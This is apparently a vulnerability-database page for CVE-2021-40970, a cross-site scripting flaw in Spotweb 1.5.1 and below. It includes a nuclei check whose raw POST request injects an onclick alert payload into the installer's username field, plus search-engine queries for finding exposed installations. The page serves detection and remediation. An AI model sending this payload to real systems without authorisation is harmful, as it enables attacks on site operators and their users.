Browse / CVEs / CVE-2021-40970
CVE-2021-40970· spotweb project / spotweb· CWE-79
Spotweb <= 1.5.1 - Cross Site Scripting
mediumseverity
6.1CVSS score
2.2%likelihood of exploitation, next 30 days
83%of all CVEs are less likely
Readycheck to confirm it
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
Fix
Fixed in version 1.5.2
How to confirm it
Send: POST /install.php?page=1
Positive when: contains "onclick='alert(document.domain)" and "Spotweb" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-40970 -u <target>
The full check
id: CVE-2021-40970
info:
name: Spotweb <= 1.5.1 - Cross Site Scripting
author: theamanrawat
severity: medium
description: |
Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the username parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: Fixed in version 1.5.2
reference:
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/711
- https://nvd.nist.gov/vuln/detail/CVE-2021-40970
- https://github.com/spotweb/spotweb
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-40970
cwe-id: CWE-79
epss-score: 0.02239
epss-percentile: 0.82973
cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
metadata:
verified: "true"
max-request: 1
vendor: spotweb_project
product: spotweb
shodan-query:
- title:"SpotWeb - overview"
- http.title:"spotweb - overview"
fofa-query: title="spotweb - overview"
google-query: intitle:"spotweb - overview"
tags: cve2021,cve,xss,spotweb,spotweb_project,vuln
http:
- raw:
- |
POST /install.php?page=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
settingsform[username]=pdteam'+onclick='alert(document.domain)
matchers-condition: and
matchers:
- type: word
part: body
words:
- "onclick='alert(document.domain)"
- "Spotweb"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://github.com/spotweb/spotweb/
- https://github.com/spotweb/spotweb/issues/711
- https://nvd.nist.gov/vuln/detail/CVE-2021-40970
- https://github.com/spotweb/spotweb
Use this check only on systems you are authorised to test. Where the data comes from